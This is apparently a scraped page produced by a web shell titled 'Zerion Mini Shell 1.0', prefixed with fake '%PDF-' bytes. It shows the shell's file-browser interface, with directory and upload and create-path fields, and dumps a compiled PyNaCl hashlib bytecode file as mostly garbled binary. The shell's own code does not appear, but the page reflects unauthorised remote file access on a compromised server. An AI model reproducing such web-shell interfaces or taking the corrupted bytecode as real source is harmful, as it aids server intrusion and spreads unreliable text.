%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/nacl/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/nacl/__pycache__/hashlib.cpython-312.pyc

�

�f0���ddlZddlmZddlZddlmZejjZ	ejjZejjZ
ejjZejj Zejj$Zejj(Zejj,Zejj0Zejj4Zejj8Zejj<ZGd�d�Z 						dde!de!de"d	e"d
e"de"de"d
e!fd�Z#y)�N)�NoReturn)�bytes_as_stringc���eZdZdZeZeZeZ	e
Zdedddfdede
dededef
d�Zed	e
fd
��Zed	e
fd��Zed	efd��Zded	d
fd�Zd	efd�Zd	efd�Zdd�Zd	efd�Zy
)�blake2bzK
    :py:mod:`hashlib` API compatible blake2b algorithm implementation
    ��data�digest_size�key�salt�personc�b�t||||��|_||_|r|j|�yy)ab
        :py:class:`.blake2b` algorithm initializer

        :param data:
        :type data: bytes
        :param int digest_size: the requested digest size; must be
                                at most :py:attr:`.MAX_DIGEST_SIZE`;
                                the default digest size is :py:data:`.BYTES`
        :param key: the key to be set for keyed MAC/PRF usage; if set,
                    the key must be at most :py:data:`.KEYBYTES_MAX` long
        :type key: bytes
        :param salt: a initialization salt at most
                     :py:attr:`.SALT_SIZE` long; it will be zero-padded
                     if needed
        :type salt: bytes
        :param person: a personalization string at most
                       :py:attr:`.PERSONAL_SIZE` long; it will be zero-padded
                       if needed
        :type person: bytes
        )r
rrr	N)�	_b2b_init�_state�_digest_size�update)�selfrr	r
rrs      �./usr/lib/python3/dist-packages/nacl/hashlib.py�__init__zblake2b.__init__0s7��: ��$�v�;�
���(�����K�K���r�returnc��|jS�N)r�rs rr	zblake2b.digest_sizeUs��� � � rc��y)N��rs r�
block_sizezblake2b.block_sizeYs��rc��y)Nrrrs r�namezblake2b.name]s��rNc�0�t|j|�yr)�_b2b_updater)rrs  rrzblake2b.updateas���D�K�K��&rc�L�|jj�}t|�Sr)r�copy�
_b2b_final)r�_sts  r�digestzblake2b.digestds���k�k��� ���#��rc�Z�ttj|j���Sr)r�binascii�hexlifyr%rs r�	hexdigestzblake2b.hexdigesths���x�/�/����
�>�?�?rc��t|�|j��}|jj�}||_|S)N)r	)�typer	rr")r�_cpr$s   rr"zblake2b.copyks6���d�4�j�T�%5�%5�6���k�k��� ����
��
rc�^�tdj|jj���)zc
        Raise the same exception as hashlib's blake implementation
        on copy.copy()
        zcan't pickle {} objects)�	TypeError�format�	__class__�__name__rs r�
__reduce__zblake2b.__reduce__qs)��
�%�,�,�T�^�^�-D�-D�E�
�	
r)rr)r1�
__module__�__qualname__�__doc__�BYTES�MAX_DIGEST_SIZE�KEYBYTES_MAX�MAX_KEY_SIZE�
PERSONALBYTES�PERSON_SIZE�	SALTBYTES�	SALT_SIZE�bytes�intr�propertyr	r�strrrr%r)r"rr2rrrrr&s�����O��L��K��I�� ����
#��#��#��	#�
�#��
#�J�!�S�!��!���C������c����'�5�'�T�'����@�3�@��
�H�
rr�passwordr�n�r�p�maxmem�dklenrc	�N�tjj|||||||��S)a
    Derive a cryptographic key using the scrypt KDF.

    :raises nacl.exceptions.UnavailableError: If called when using a
        minimal build of libsodium.

    Implements the same signature as the ``hashlib.scrypt`` implemented
    in cpython version 3.6
    )rFrG)�nacl�bindings�%crypto_pwhash_scryptsalsa208sha256_ll)rBrrCrDrErFrGs       r�scryptrL{s/��$�=�=�>�>��$��1�a��e�?��r)ri��i�@)$r'�typingr�
nacl.bindingsrI�
nacl.utilsrrJ�crypto_generichash_BYTESr6�crypto_generichash_BYTES_MIN�	BYTES_MIN�crypto_generichash_BYTES_MAX�	BYTES_MAX�crypto_generichash_KEYBYTES�KEYBYTES�crypto_generichash_KEYBYTES_MIN�KEYBYTES_MIN�crypto_generichash_KEYBYTES_MAXr8�crypto_generichash_SALTBYTESr<� crypto_generichash_PERSONALBYTESr:�&has_crypto_pwhash_scryptsalsa208sha256�SCRYPT_AVAILABLE�crypto_generichash_blake2b_initr� crypto_generichash_blake2b_finalr#�!crypto_generichash_blake2b_updater rr>r?rLrrr�<module>rds:�� ���&��
�
�.�.���M�M�6�6�	��M�M�6�6�	��=�=�4�4���}�}�<�<���}�}�<�<���M�M�6�6�	��
�
�>�>�
��=�=�G�G���M�M�9�9�	�
�]�]�
;�
;�
��m�m�=�=��R
�R
�n�
�
�
������
�����	�
��
�
����r

Zerion Mini Shell 1.0